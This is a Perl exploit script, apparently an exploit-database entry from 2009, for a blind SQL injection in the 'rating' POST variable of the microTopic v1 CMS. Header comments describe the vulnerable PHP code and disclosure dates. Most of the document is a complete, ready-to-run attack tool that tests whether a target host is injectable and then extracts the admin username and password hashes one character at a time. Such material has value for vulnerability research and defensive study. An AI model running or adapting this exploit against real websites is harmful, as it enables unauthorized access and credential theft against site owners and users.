microTopic 1 Blind SQL Injection

`#!/usr/bin/perl  
#---------------------------------------------------------------------------  
#(POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial Release-->  
#---------------------------------------------------------------------------  
#  
#CMS INFORMATION:  
#  
#-->WEB: http://sourceforge.net/projects/microtopic/  
#-->DOWNLOAD: http://sourceforge.net/projects/microtopic/  
#-->DEMO: N/A  
#-->CATEGORY: CMS / Portal  
#-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb  
# Secure - Hashed challenge/response login Flexible...  
#  
#CMS VULNERABILITY:  
#  
#-->TESTED ON: firefox 3.0.10  
#-->DORK: "N/A"  
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT  
#-->AFFECT VERSION: v-1  
#-->Discovered Bug date: 2009-05-08  
#-->Reported Bug date: 2009-05-08  
#-->Fixed bug date: 2009-05-10  
#-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/  
#-->Author: YEnH4ckEr  
#-->mail: y3nh4ck3r[at]gmail[dot]com  
#-->WEB/BLOG: N/A  
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.  
#  
#------------  
#VULN FILES:  
#------------  
#  
#Path --> [HOME_PATH]/admin/utopic.php  
#  
#It contents:  
#  
# $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'  
# AND ip='$_SERVER[REMOTE_ADDR]'";  
# $sql=SendSQL($query);  
#  
#Path --> [HOME_PATH]/admin/mysql.php  
#  
#It contents:  
#  
#function SendSQL($query){  
# $sql=mysql_query($query) or die("CANNOT ".$query);  
# return $sql;  
# }  
#  
#------------  
#CONDITIONS:  
#------------  
#  
#  
#**magic quotes=off  
#  
#  
#######################################################################  
#######################################################################  
##*******************************************************************##  
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##  
##*******************************************************************##  
##-------------------------------------------------------------------##  
##*******************************************************************##  
## GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community! ##  
##*******************************************************************##  
#######################################################################  
#######################################################################  
#  
#-------------------EOF---------------------------------->>>ENJOY IT!  
#  
use LWP::UserAgent;  
use HTTP::Request;  
#Subroutines  
sub lw  
{  
my $SO = $^O;  
my $linux = "";  
if (index(lc($SO),"win")!=-1){  
$linux="0";  
}else{  
$linux="1";  
}   
if($linux){  
system("clear");  
}  
else{  
system("cls");  
system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit");  
system ("color 02");  
}  
}  
sub request {  
my $userag = LWP::UserAgent->new;  
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
my $request = HTTP::Request -> new(POST => $_[0]);  
$request->content_type('application/x-www-form-urlencoded');  
$request->content($_[1]);   
my $outcode= $userag->request($request)->as_string;  
return $outcode;  
}  
sub helper {  
print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n";  
print "\t[XxX] USAGE MODE: [XxX]\n";  
print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";  
print "\t[XxX] [HOST]: Web.\n";  
print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";  
print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";  
print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n";   
}  
sub error {  
print "\t-----------------------------------------------------------------\n";  
print "\tWEB IS NOT VULNERABLE!\n";  
print "\tMaybe --> \n";  
print "\t1.-Patched\n";  
print "\t2.-topic doesn't exist\n";  
print "\t3.-Magic quotes ON\n";  
print "\tEXPLOIT FAILED!\n";  
print "\t-----------------------------------------------------------------\n";  
}  
sub testedblindsql {  
print "\t-----------------------------------------------------------------\n";  
print "\tWEB IS VULNERABLE!\n";  
print "\tTested Blind SQL Injection.\n";   
print "\tStarting exploit...Waiting...\n";   
print "\t-----------------------------------------------------------------\n";  
}  
sub exploit {  
my $result="";  
$k=1;  
$z=48;  
while(($k<=32) && ($z<=126)){  
$blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";  
$output=&request($_[0],$blindsqlpost);  
if ( $output =~ (/\<\/head\>\<body\>/))  
{  
$result=$result.chr($z);  
$k++;  
$z=47;  
}  
if($z==57)  
{  
$z=96;  
}  
#new char  
$z++;   
}  
return $result;  
}  
#Main  
&lw;  
print "\t\t#########################################################\n\n";  
print "\t\t#########################################################\n\n";  
print "\t\t## microTopic v1 Initial Release - BSQLi Exploit ##\n\n";  
print "\t\t## Author: Y3nh4ck3r ##\n\n";  
print "\t\t## Condition: magic quotes=off ##\n\n";  
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";  
print "\t\t## Proud to be Spanish! ##\n\n";  
print "\t\t#########################################################\n\n";  
print "\t\t#########################################################\n\n";  
#Init variables  
my $host=$ARGV[0];  
my $path=$ARGV[1];   
my $topic=$ARGV[2];  
#Build the uri  
if($path eq "no-path"){  
$finalhost="http://".$host."/index.php?topic=".$topic;  
}else{  
$finalhost="http://".$host."/".$path."/index.php?topic=".$topic;  
}  
#Check all variables needed  
$numArgs = $#ARGV + 1;  
if($numArgs<=2)   
{  
&helper;  
exit(1);   
}  
$finalrequest = $finalhost;   
#Testing blind sql injection  
$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql injection  
$output=&request($finalrequest,$blindsqlpost);  
if ( $output !~ (/\<\/head\>\<body\>/))  
{   
#blind sql injection is available  
&testedblindsql;  
}else{   
#Not injectable  
&error;  
exit(1);   
}   
#Bruteforcing user...  
$usernamehash=&exploit($finalrequest,$topic,'username');  
#Bruteforcing pass...  
$passhash=&exploit($finalrequest,$topic,'password');  
print "\n\t\t*************************************************\n";  
print "\t\t**** EXPLOIT EXECUTED WITH SUCCESS ****\n";  
print "\t\t*************************************************\n\n";  
print "\t\tUsername(md5 hash):".$usernamehash."\n";  
print "\t\tPassword(md5 hash):".$passhash."\n\n";  
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";  
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";  
print "\t\t<<------------------------EOF---------------------->>\n\n";  
exit(1);  
#Ok...all job done  
`